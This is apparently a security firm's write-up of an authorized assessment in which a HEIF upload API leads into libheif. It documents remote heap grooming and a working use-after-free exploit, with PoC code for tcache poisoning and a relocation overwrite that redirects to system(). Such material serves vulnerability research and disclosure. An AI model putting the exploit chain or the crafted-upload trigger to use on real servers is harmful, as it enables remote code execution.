REMOTEAPI-triggered parser path
0x20Shared glibc size class
45KControlled dimg edges
RCEExact runtime proof

This research comes from an authorized assessment. Client names, hostnames, credentials, identifiers and infrastructure details have been removed, while the remote upload path, allocator measurements and exploit-validation results have been kept because they are the parts that matter technically.

From an API pentest to native exploit development

The engagement started with the usual application-security questions: authenticated API calls, authorization boundaries, object ownership, role separation, state transitions and file handling. The upload feature looked ordinary at first, but HEIF files were handed to native code rather than being handled entirely inside the Python application. Following that data flow showed that a request entering through Django eventually crossed pillow-heif, libheif 1.23.3 and glibc 2.36. At that point, the security question was no longer limited to the endpoint itself; the relevant attack surface included the parser state and allocator behavior that the uploaded file could influence.

The web API was only the transport. The security boundary continued through the native parser and into the allocator state created from attacker-controlled file contents.

Remote reachability: the grooming primitive starts at the API

In the assessed deployment, an authenticated Editor could submit an image through the customer API using a multipart request. The application returned 202 Accepted and processed the file asynchronously. HEIC and HEIF extensions were explicitly mapped to the HEIF decoder, while the isolated normalizer registered pillow_heif before opening the file with Pillow. In other words, a normal remote API call was enough to place attacker-controlled HEIF structure in front of libheif inside the server-side processing environment.

Sanitized remote trigger: one API requestPOST /api/v1/pictures/ HTTP/1.1
Authorization: Token <redacted>
Content-Type: multipart/form-data; boundary=...

--...
Content-Disposition: form-data; name="picture"; filename="groom.heif"
Content-Type: image/heif

<crafted HEIF: meta / pitm / iref / dimg chain>
--...
Content-Disposition: form-data; name="siteId"

<controlled object UUID>
--...--

HTTP/1.1 202 Accepted

The application code makes that transition easy to see. Stripped of unrelated business logic, the path is simply:

Sanitized application path# API view
upload = validated_data.pop("picture")
picture = accept_upload(request.user, upload, attributes)
return Response(serializer(picture).data, status=202)

# isolated normalizer subprocess
register_heif_opener(thumbnails=False)
with Image.open(source, formats=["HEIF"]) as image:
    image.load()
Remote path to the allocator primitive
The grooming behavior is exercised through the normal remote upload workflow. Triggering it does not require local access or a direct call into libheif.
REMOTE ATTACK SURFACE API clientmultipart HEIF Upload API202 + queue Workerisolated process Pillow / pillow-heifHEIF passed to libheif libheif parse-time cycle checkiref/dimg DFS before image decode parent_items.insert(ID)unordered_set node allocation malloc(16)glibc 0x20 Remote file contents control recursion depth -> live same-bin allocations -> unwind/reuse phase

Source review established the path, but the remote behavior was also reproduced end to end. The crafted HEIF was accepted by the API, passed the malware-scanning stage and reached native normalization before the worker reported scan_failed / processing_error. The same payload had already been reproduced under root instrumentation against the libheif recursive path, allowing the remote PoC to correlate the application-side failure with that native condition and report REMOTE_STACK_EXHAUSTION_PATH_CONFIRMED.

Sanitized remote API proof showing HEIF upload accepted and server-side native processing path confirmed
Sanitized remote validation. A single authenticated multipart upload reached the server-side native HEIF path after scanning; the project-specific host, account and object identifiers are removed.
Confirmed
Remote primitive trigger
A crafted HEIF reaches the iref/dimg parse-time DFS through the authenticated upload API and worker path.
Confirmed
Server-side native parsing
The file is opened by Pillow/pillow-heif and parsed by the bundled libheif inside the application's processing environment.
Exploit requirement
One reachable corruption primitive
The remote API already supplies heap shaping. Pair it with a memory-corruption primitive reachable in the same native processing context and the grooming stage becomes directly consumable for end-to-end exploitation; the TAI 1-day validated that second half on the exact runtime.

The result is more useful than a remote crash. The API already exposes a genuine heap-grooming capability because attacker-controlled file structure determines how the native parser populates and later releases a useful glibc size class. A complete network-to-RCE chain would therefore need a compatible corruption primitive in the same processing context, such as a UAF, double free or out-of-bounds write. The heap-conditioning stage itself is already remotely available.

The public starting point: iref/dimg recursion

GHSA-xrp2-63fq-jm8q documents a parser-side denial of service in libheif through iref. In the affected releases, Box_iref::parse() did not limit the total number of reference entries and HeifFile::check_for_ref_cycle_recursion() walked the resulting graph recursively without a depth bound. With a linear dimg chain, the file therefore controls the recursion depth almost directly.

File-controlled graphmeta
 |--- pitm  -> item 1
 \--- iref
     |--- dimg:     1 -> 2
     |--- dimg:     2 -> 3
     |--- dimg:     3 -> 4
     |--- ...
     \--- dimg: 45000 -> 45001

Stack exhaustion is the obvious consequence and the one described publicly. What made the bug interesting for exploitation was the work performed at every DFS level before the stack finally ran out. The cycle checker maintains two std::unordered_set<heif_item_id> instances for the active path and completed items, so recursion depth also drives allocator activity.

The undocumented primitive: file-driven 0x20 heap grooming

Tracing the allocator on the exact runtime showed that each insertion into the active-path set creates one libstdc++ hash node for the current recursion level. On this build the node requested 16 bytes through operator new, which reached malloc(16); 64-bit glibc 2.36 services that request from a 0x20-byte chunk. This was not reconstructed afterwards from a heap snapshot. The native call chain was captured while the crafted graph was being parsed:

Observed native allocation pathmalloc(16)
  <- operator new(unsigned long)
  <- std::_Hashtable<...>::_M_insert_unique(...)
  <- HeifFile::check_for_ref_cycle_recursion(...)
  <- HeifFile::check_for_ref_cycle_recursion(...)
  <- ...

Why parent_items.insert(ID) is the important line

The relevant 1.23.3 logic can be reduced to the following without changing the part that matters for recursion, allocation and lifetime:

Condensed from the affected cycle checkif (parent_items.contains(ID))
    return cycle_error;
if (finished_items.contains(ID))
    return ok;

parent_items.insert(ID);                  // libstdc++ hash node -> new(16) -> malloc(16)

auto refs = iref_box->get_references(ID, fourcc("dimg"));
for (auto reference : refs)
    check_for_ref_cycle_recursion(reference, iref_box,
                                  parent_items, finished_items);

parent_items.erase(ID);                   // release during unwind
finished_items.insert(ID);

The resulting behavior is effectively an allocator program encoded in the HEIF graph. Graph depth controls the number of allocations, the active-path nodes remain live while recursion descends, and the unwind phase releases that population in a repeatable way. Later allocations from the same class can reclaim those addresses. On the tested libstdc++ ABI, the attacker-selected 32-bit item ID was also observable at a stable +0x8 offset inside the node payload, giving the file limited but predictable influence over the contents of each groomed chunk.

Sanitized allocator trace showing malloc 16 from the libheif recursive iref dimg cycle check
Sanitized allocator trace from the instrumented target build. It preserves the measured call chain, depth, allocation count and controlled payload observation while removing client identifiers.
What the crafted reference graph does to the heap
The graph does not corrupt memory by itself; it gives the remote file repeatable control over heap layout, lifetime and reuse in one allocator class.
FILE GRAPH dimg 0x84 -> 0x85chosen 32-bit ID dimg 0x85 -> 0x86chosen 32-bit ID dimg ... -> ...repeat N times ACTIVE DFS NODES malloc(16) -> chunk 0x20ID payload observed @ +0x8 malloc(16) -> chunk 0x20same size class malloc(16) -> chunk 0x20same size class Lifetime controldescent: nodes stay liveunwind: nodes releasedlater malloc(24): same binaddress reuse observed Attacker controls graph depth + partially controlled node contents + release phase timing

Measured behavior, not a heap hypothesis

Input / depthObserved behaviorExploit relevance
45,000 edges
IDs 1..45001
A compact linear dimg graph reaches the recursive cycle checker before image decode.Remote file size directly controls native recursion and allocator activity.
Depth 10,871malloc(16)=10871; 10,870 nodes captured; 0 frees before fault; 133/133 sampled node payloads matched selected IDs.Dense population of simultaneously live 0x20 chunks with predictable data at a stable offset.
Depth 8,19216,386 tracked allocation/free events; live set returned to zero after normal cycle-check completion.Clean release phase when recursion unwinds.
Depth 4,0968,194 tracked events; 8,183 unique freed addresses; 14 exact-address reuses in later allocations.The freed population is practically reclaimable, not merely theoretical heap pressure.
What the original advisory did not describe
Public knowledge
Deep iref/dimg reference graphs can exhaust the stack through an unbounded recursive cycle check.
Observed primitive
Each active DFS level allocates a libstdc++ hash node via malloc(16); the nodes remain live during descent, carry attacker-selected IDs at a stable offset on the tested ABI, and are released in a repeatable unwind phase.
Remote reachability
The primitive was triggered through the normal authenticated picture-upload API: remote multipart HEIF -> async worker -> pillow-heif -> libheif parser -> glibc allocator.
Exploit validation
A fresh, separate 1-day UAF in the same library used a 24-byte object in the same glibc 0x20 class and was independently developed from advisory text to verified command execution on the exact runtime.

Why the shared 0x20 class changed the investigation

The next observation connected the parser work to exploit development. The DFS node requests 16 bytes, while the TAI timestamp object used by the newly published UAF is 24 bytes; on the assessed 64-bit glibc runtime, both are serviced from the same 0x20 chunk class. That means objects originating from otherwise unrelated code paths can compete for the same tcache entries, which is exactly the kind of relationship a useful grooming primitive is meant to create.

16BDFS hash-node request
24BTAI timestamp object
0x20glibc chunk class
same binplacement competition

The fresh 1-day: GHSA-qwpf-5wf7-r996

On September 21, 2026, libheif published GHSA-qwpf-5wf7-r996, describing a heap use-after-free and double free while encoding an image that carries a TAI timestamp, including the transcoding of a file with an itai property. The ownership error is compact but exploitable: ImageDescription shallow-copied a raw heif_tai_timestamp_packet pointer, then a temporary created during ImageItem::encode_to_bitstream_and_boxes() released the packet while the source image and item still retained the same pointer. The upstream correction stores the timestamp by value instead (fix commit 45a40ca1).

The advisory explained the ownership bug, but not whether it could be turned into control of the process. Exploitation still depended on the exact object size, the timing of the first release, whether the freed object could be reclaimed, what happened when the stale owner released it again, how glibc safe-linking affected the tcache, which writable target existed in the loaded binary, and whether a legitimate code path could be used as a reliable trigger. Those questions had to be answered against the deployed runtime rather than assumed from the upstream description.

TAI UAF root cause
Ownership-equivalent diagram of the advisory root cause. The corruption primitive is independent from the remote iref/dimg groomer.
1. ORIGINAL OBJECT Source ImageDescriptionTAI pointer -------------+ 24-byte TAI packetglibc chunk = 0x20 2. ENCODER TEMPORARY SHALLOW-COPIES POINTER Sourcestill references packet Temporary copysame raw pointer TAI packetone allocation / two owners 3. TEMPORARY DESTRUCTION temporary frees packet chunk enters allocator source remains alivedangling pointer
Ownership-equivalent pseudocode (not a verbatim source listing)struct ImageDescription {
    heif_tai_timestamp_packet* tai;

    // vulnerable copy semantics: pointer value is copied
    ImageDescription(const ImageDescription&) = default;

    ~ImageDescription() {
        if (tai) heif_tai_timestamp_packet_release(tai);
    }
};

// encode path
ImageDescription tmp = source_description;  // same TAI pointer
...
// tmp destructor: first free
// source_description.tai: now dangling

From advisory text to a working exploit

No public exploit PoC was used for the final proof. The exploit was built from the advisory, the vulnerable source behavior and observations from the exact target runtime. A UAF advisory tells you which ownership rule is broken; getting from there to RCE means establishing the allocator state, the binary layout and a reliable control-flow transition for the environment that is actually deployed.

01
Reconstruct the exact ABI
Compile a tiny probe against the exact target headers instead of guessing enum values or structure layouts. The target reported sizeof(heif_tai_timestamp_packet) == 24.
02
Resolve the exact target mapping
Copy the deployed libheif, locate the sized operator delete JUMP_SLOT with readelf, use dladdr() for the real ELF load bias, and verify the target mapping is writable.
03
Trigger the first free
Create a real image carrying a TAI packet and call the vulnerable encoder. Encoding returns while the source image still owns the stale pointer.
04
Reclaim, then stale-free a live chunk
A bounded set of 128 same-class 24-byte allocations reclaims the freed TAI address. Releasing the source image then frees that still-live replacement through the dangling owner.
05
Build a two-entry safe-linked tcache chain
Drain residual 0x20-bin noise, return a decoy and the victim, then encode the victim's forward pointer with glibc 2.36 safe-linking.
06
Turn allocator control into code execution
Two malloc(24) calls are verified to return the victim and then the chosen writable target. The sized-delete relocation is overwritten with system(); a legitimate TAI release supplies the controlled argument.

Exact-runtime ABI and relocation discovery

PoC extract: derive target facts instead of hard-coding them// compiled against the exact target headers
printf("TAI_SIZE=%zu\n", sizeof(heif_tai_timestamp_packet));
printf("TAI_TIMESTAMP_OFF=%zu\n",
       offsetof(heif_tai_timestamp_packet, tai_timestamp));

# locate the sized-delete relocation in the exact deployed .so
readelf -rW libheif.so.1.23.3 |
  awk '$3=="R_X86_64_JUMP_SLOT" && /_ZdlPvm/ { print "0x"$1; exit }'

The exploit resolved the loaded libheif base with dladdr(), derived the relocation address from the file offset and verified the mapping permissions through /proc/self/maps. Doing this against the running process avoided treating the first visible mapping as the ELF load bias, an assumption that would have made the later write target unreliable.

Reclaim and tcache poisoning

PoC extract: exact logic from the final exploit, identifiers sanitizedSPRAY_N = 128
spray = []
for i in range(SPRAY_N):
    p = int(libc.malloc(TAI_SIZE) or 0)
    ptr_write(p,      0x4141414100000000 | i)
    ptr_write(p + 8,  0x4242424200000000 | i)
    ptr_write(p + 16, 0x4343434300000000 | i)
    spray.append(p)

lib.heif_image_release(img)  # stale owner frees one still-live spray chunk

# ... locate the overlapping victim by exact address reuse ...
libc.free(ctypes.c_void_p(decoy))
libc.free(ctypes.c_void_p(victim))

# glibc 2.36 safe-linking: e->next = target ^ (chunk_addr >> 12)
encoded_next = fake_target ^ (victim >> 12)
ptr_write(victim, encoded_next)

pop1 = int(libc.malloc(TAI_SIZE) or 0)
pop2 = int(libc.malloc(TAI_SIZE) or 0)
assert pop1 == victim
assert pop2 == fake_target

Build-specific write and control-flow trigger

PoC extract: verified command-execution stage# pop2 overlaps the writable sized-delete relocation on this build
ptr_write(pop2 + got_delta, system_addr)
assert ctypes.c_uint64.from_address(delete_got).value == system_addr

cmd = b"id>/tmp/boss-libheif-rce-proof\x00"
cmdpkt = lib.heif_tai_timestamp_packet_alloc()
ctypes.memset(cmdpkt, 0, TAI_SIZE)
ctypes.memmove(cmdpkt, cmd, len(cmd))

# sized delete now resolves to libc system()
lib.heif_tai_timestamp_packet_release(cmdpkt)
assert os.path.exists("/tmp/boss-libheif-rce-proof")
Exact runtime exploit proof showing realistic heap addresses, tcache poisoning, GOT overwrite, control-flow redirection and command execution
Exact-runtime exploit evidence from the assessed build. Client-specific names and filesystem paths are removed, while the allocator addresses, libheif base, relocation offset and resolved system() address are intentionally retained because they are part of the exploit-development evidence.

The role of the 1-day in this research: the proof deliberately resolved the libheif base and system() inside the target process. The objective was to validate the complete corruption-to-control-flow sequence on the deployed runtime, with the same library build, allocator behavior and ABI observed during the assessment.

The result is directly relevant to the remote finding. It shows that a corruption primitive landing in this allocator class can consume the state produced by the grooming work and carry it through reclaim, tcache manipulation, a chosen native write and finally command execution.

The iref/dimg groomer is already remotely triggerable through the upload API. What remains for an end-to-end API-to-RCE chain is therefore a compatible memory-corruption primitive in that same processing context, not another mechanism to shape the heap.

From remote grooming to code execution: composing primitives

Remote grooming primitive vs. corruption primitive
The remote API supplies allocator shaping; the TAI 1-day shows how a compatible corruption primitive in the same size class can turn that state into control of the process.
Track A: remote iref/dimgAPI upload -> parser DFSmalloc(16) -> 0x20 chunksfile-controlled count / ID dataunwind + address reuse Track B: TAI 1-day UAFencoder temporary -> first free24-byte object -> 0x20 chunkstale owner -> second freeexact-runtime RCE developed Shared allocator factsame glibc 0x20 binplacement/reclaim mattersexploit-development bridge Exact buildsafe-linked tcachewritable relocationdelete -> systemRCE PROVED Remote API groomer + reachable same-bin corruption primitive -> end-to-end exploit chain

By then, the relationship between the two pieces was clear. The upload API could make libheif build and release a large population of predictable 0x20-class chunks from file-controlled dimg structure, while the TAI UAF showed that a corruption bug using that same allocator class could be pushed on the deployed runtime through tcache control, a chosen native write and ultimately command execution. The TAI bug was the corruption primitive available for this validation, but the reusable result is the remote iref/dimg groomer: any suitable memory-corruption bug reachable in the same native processing context can start from an allocator state that the attacker already knows how to shape.

Impact analysis

Remote heap grooming

An authenticated remote user can submit crafted HEIF through the normal API and drive the parse-time dimg DFS, producing controlled 0x20-class allocator state inside the server-side native parser.

Measured allocator properties

Allocation count, lifetime, same-bin placement, partial node contents and exact-address reuse were measured on the target runtime. Those properties are directly useful for exploit construction and go well beyond the public stack-exhaustion symptom.

Native command execution from the 1-day

The TAI UAF was developed from advisory and root-cause information into tcache control, a targeted native write, control-flow redirection and verified command execution on the exact libheif 1.23.3 and glibc 2.36 runtime.

Composable exploit primitive

The upload workflow already supplies the allocator-shaping stage remotely. A suitable memory-corruption primitive reachable in the same native processing context, particularly one using the same 0x20 class, can consume that state directly. The TAI 1-day demonstrated the exploitation strategy and the viability of the target runtime all the way to command execution.

Calling the result only a parser DoS would miss the part that matters most for exploitation. The remote file does not merely consume stack; it conditions the heap in a repeatable allocator class and gives the exploit developer useful control over allocation count, lifetime, data and reuse. Once a compatible corruption bug is found in the same processing context, that heap work is already done.

What this changes during an offensive assessment

A file-upload endpoint is often treated as an application feature with a familiar checklist around extension handling, MIME validation, storage and authorization. That view becomes incomplete as soon as the bytes are handed to a native parser. At that point the parser's object lifetimes, allocator behavior, binary hardening and process privileges are part of the exposed attack surface as well. In this case, following the file across that boundary is what turned an ordinary API test into a heap-exploitation problem.

The same applies to public advisories. A description such as "UAF / double free" establishes a vulnerability class, but it says very little about practical exploitation on a specific target. Reclaimability, stale-free behavior, safe-linking, writable targets, RELRO, the exact object ABI and the process mappings all had to be checked before the advisory could be turned into a reliable proof. The iref/dimg work is valuable for the same reason: it provides reusable heap-conditioning infrastructure rather than another isolated crash.

Defensive implications

Research conclusion

The result is not simply that libheif contained another pair of bugs. The public information already described an unbounded recursive reference walk and, later, a TAI lifetime error. The research value came from working out what those behaviors meant inside a real remotely exposed consumer, where file structure, C++ containers, glibc allocation classes and binary layout all interact.

The iref/dimg path is a remotely triggerable heap-conditioning mechanism. Attacker-controlled graph depth creates one 16-byte libstdc++ node for each active DFS level; those requests land in glibc's 0x20 class, the selected item IDs are reflected in the node payload on the tested ABI, and the unwind phase releases the population so that later same-class requests can reuse exact addresses. That behavior was measured directly rather than inferred from the crash.

The TAI 1-day provided a concrete way to test how far that allocator knowledge could be pushed on the same runtime. Starting from the advisory and without a public exploit PoC, the work established the object ABI, reclaimed the first free, converted the stale release into an overlap, satisfied glibc safe-linking, forced an allocation at a chosen writable target, performed the native write and redirected a legitimate delete path to system(). Command execution was then verified independently. The remote path had already supplied the groomer; the 1-day exercise proved that the surrounding runtime could turn a compatible corruption primitive into RCE.

The upload was the entry point; the interesting part began after the file crossed into libheif, where parser behavior became allocator behavior and allocator behavior became something an exploit could use.

References

Follow the attack path as far as the evidence goes.
This engagement began with an API and ended several layers below it, in a native parser and its allocator. BOSS follows those transitions when the evidence supports them, moving from application logic into exploit development when that is what is required to establish the real impact rather than stopping at the first reproducible symptom.
Get in touch